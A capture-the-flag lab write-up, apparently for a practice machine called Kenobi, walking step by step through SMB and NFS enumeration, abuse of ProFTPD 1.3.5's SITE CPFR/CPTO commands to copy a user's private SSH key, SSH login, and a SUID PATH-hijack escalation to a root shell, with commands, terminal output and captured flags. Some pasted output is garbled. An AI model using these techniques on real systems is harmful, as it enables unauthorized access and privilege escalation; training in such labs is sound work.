Task 1: Deploy the vulnerable machine

Scan the target machine

Nmap -sV target ip

There are 7 ports open

Task 2: Enumerating samba for shares

Scan the samba port

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse Target IP

```
(fran@Frappie)=[~]

$ mmap - 0 445 --script=smb-enum-shares.nse, smb-enum-users.nse 10.10.253.245

Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-09 12:00 CEST

Nmap scan report for 10.10.253.245

Host is up (0.16s latency).

PORT STATE SERVICE

445/tcp open microsoft-ds

Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.253.245\IPC$;
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: cunlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.253.245\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\thome\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| Current user access: READ/WRITE
| Users: 0
| Max Users: <unlimited>
| Path: C:\thome\kenobi\share
| Anonymous access: READ/WRITE
| \\10.10.253.245\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\shamba\printers
| Anonymous access: READ/WRITE
| \\10.10.253.245\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\shamba\printers
| Anonymous access: <unlimited>
| Randle of the county of
```

There are 3 shares

Use smbclient//Target_IP/anonymous and list all the files with ls

```
(fran Frapple)-[~]
$ smbclient //10.10.253.245/anonymous
Password for [WORKGROUP\fran]:
Try "help" to get a list of possible commands.
smb: \> ls

D 0 Wed Sep 4 12:49:09 2019

D 0 Wed Sep 4 12:56:07 2019

log.txt N 12237 Wed Sep 4 12:49:09 2019
```

Download the file log.txt on your machine

smbget smb://IP TARGET/anonymous/log.txt

```
(fran⊕ Frapp1e)-[~]
$ smbget smb://10.10.253.245/anonymous/log.txt

Password for [WORKGROUP\fran]:
Using domain: WORKGROUP, user: fran
smb://10.10.253.245/anonymous/log.txt
Downloaded 11,95kB in 2 seconds
```

View the content of the file log.txt

```
[~] (fran⊛ Frapp1e)-[~]

$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
          . So.o++o.
   o ... +oo.Bo*o
  0 0 ..0.0+.000
                oBo.
    --[SHA256]-
# This is a basic ProFTPD configuration file (rename it to
# 'proftpd.conf' for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# "nobody" and "ftp" for normal operation and anon.
ServerName
                                              "ProFTPD Default Installation"
ServerType
DefaultServer
                                              standalone
# Port 21 is the standard FTP port.
Port
```

FTP is running on port 21

Scan the port 111 to view nfs showmounts

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount TARGET_IP

```
-(fran⊛ Frapp1e)-[~]
| nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.253.245
| Starting Nmap 7.95 (https://nmap.org) at 2025-06-09 12:34 CEST
| Nmap scan report for 10.10.253.245
Host is up (0.39s latency).
              STATE SERVICE
111/tcp open rpcbind
  nfs-showmount:
       /var *
    nfs-statfs:
      Filesystem 1K-blocks Used Available Use% /var 9204224.0 1836524.0 6877104.0 22%
                                                                    Available Use% Maxfilesize Maxlink
                                                                                                      16.0T
    nfs-ls: Volume /var
      access: Read Lookup NoModify NoExtend NoDelete NoExecute
   access: Read Lookup NoModify NoExtend NoDelete NoExecut
PERMISSION UID GID SIZE TIME FILENAME
rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
rwxrwxrwxr 0 0 4096 2019-09-04T08:43:56 crash
rwxrwxrwxr 0 50 4096 2019-09-04T08:43:56 crash
rwxrwxrwxr 0 0 9 2019-09-04T08:41:33 lock
                                                                                                FILENAME
                               0 9 2019-09-04T08:41:33 lock
108 4096 2019-09-04T10:37:44 log
0 4096 2019-01-29T23:27:41 snap
   rwxrwxr-x 0
rwxr-xr-x 0
    rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds
```

The mount is /var

Task 3: Gain initial access with ProFtpd

Use netcat to connect to the machine on the FTP port

Nc IP_TARGET 21

```
Test Machine--badr 10.10.165.1

(fran@ Frapple)-[~]

nc 10.10.253.245 21

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.253.245]

^C
```

The version is 1.3.5

Search an exploit for this version

Searchsploit proftp 1.3.5

```
| Trail | Trai
```

There are 4 exploits

Copy Kenobi's private key using SITE CPRF and SITE CPTO commands

nc 10.10.253.245 21

SITE CPFR /home/kenobi/.ssh/id_rsa

SITE CPTO /var/tmp/id_rsa

The private key was moved to the /var/tmp directory

Mount the /var/tmp directory to your machine

sudo mkdir /mnt/KenobiNFS

sudo mount TARGET_IP:/var/mnt/KenobiNFS

sudo ls -la /mnt/KenobiNFS

```
-(fran⊛ Frapp1e)-[~]
sudo mount 10.10.253.245:/var /mnt/kenobiNFS
  -(fran⊛ Frapp1e)-[~]
└$ <u>sudo</u> ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root 4096 sep 4 2019 .
drwxr-xr-x 3 root root 4096 jun 9 12:51 ..
drwxr-xr-x 2 root root 4096 sep 4 2019 backups
drwxr-xr-x 9 root root 4096 sep 4 2019 cache
drwxrwxrwt 2 root root 4096 sep 4 2019 crash
drwxr-xr-x 40 root root 4096 sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 abr 12 2016 local lrwxrwxrwx 1 root root 9 sep 4 2019 lock drwxrwxr-x 10 root _ssh 4096 sep 4 2019 log
                               9 sep 4 2019 lock → /run/lock
drwxrwsr-x 2 root mail 4096 feb 27 2019 mail
drwxr-xr-x 2 root root 4096 feb 27
                                         2019 opt
lrwxrwxrwx 1 root root
                            4 sep 4
                                         2019 run → /run
drwxr-xr-x 2 root root 4096 ene 30 2019 snap
drwxr-xr-x 5 root root 4096 sep 4 2019 spo
drwxrwxrwt 6 root root 4096 jun 9 12:46 tmp
                                          2019 spool
                                          2019 www
drwxr-xr-x 3 root root 4096 sep 4
```

Go to /var/tmp and get the private key then login to Kenobi's account cp /mnt/kenobiNFS/tmp/id_rsa . sudo chmod 600 id_rsa ssh -i id_rsa kenobi@TARGET_IP

```
(fran@Frapple)=[~]
$ cp /mnt/kenobiNFS/tmp/id_rsa .

(fran@Frapple)=[~]
$ sudo chmod 600 id_rsa

(fran@Frapple)=[~]
$ ssh -i id_rsa kenobi@10.10.253.245
The authenticity of host '10.10.253.245 (10.10.253.245)' can't be established. ED25519 key fingerprint is SHA256:6XutmgqL@Wk2ZHPmEUVIS@hvusx4hk33iTcwNKPktFw. This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.253.245' (ED25519) to the list of known hosts. Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

103 packages can be updated.
65 updates are security updates.

Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
```

Use Is and cat to view the flag of the file user.txt

```
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
```

Task 4: Privilege Escalation with path variable manipulation

To search for the SUID files use:

find / -perm -u=s -type f 2>/dev/null

The file that looks particularly out of the ordinary is /usr/bin/home

```
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6
```

Run the bin

There are 3 options

Manipulate the path to gain root shell

cd /tmp

echo/bin/sh > curl

chmod 777 curl

export PATH=/tmp:\$PATH

/usr/bin/menu

ld

Go to /root and search the file with the flag

cd /root

ls

cat root.txt

```
# ls
curl systemd-private-9e0b04aa50ea476a8095c59083c911a6-systemd-timesyncd.service-qEfuYF
# cd /root
# ls
root.txt
# cat root.txt
177b3cd8562289f37382721c28381f02
```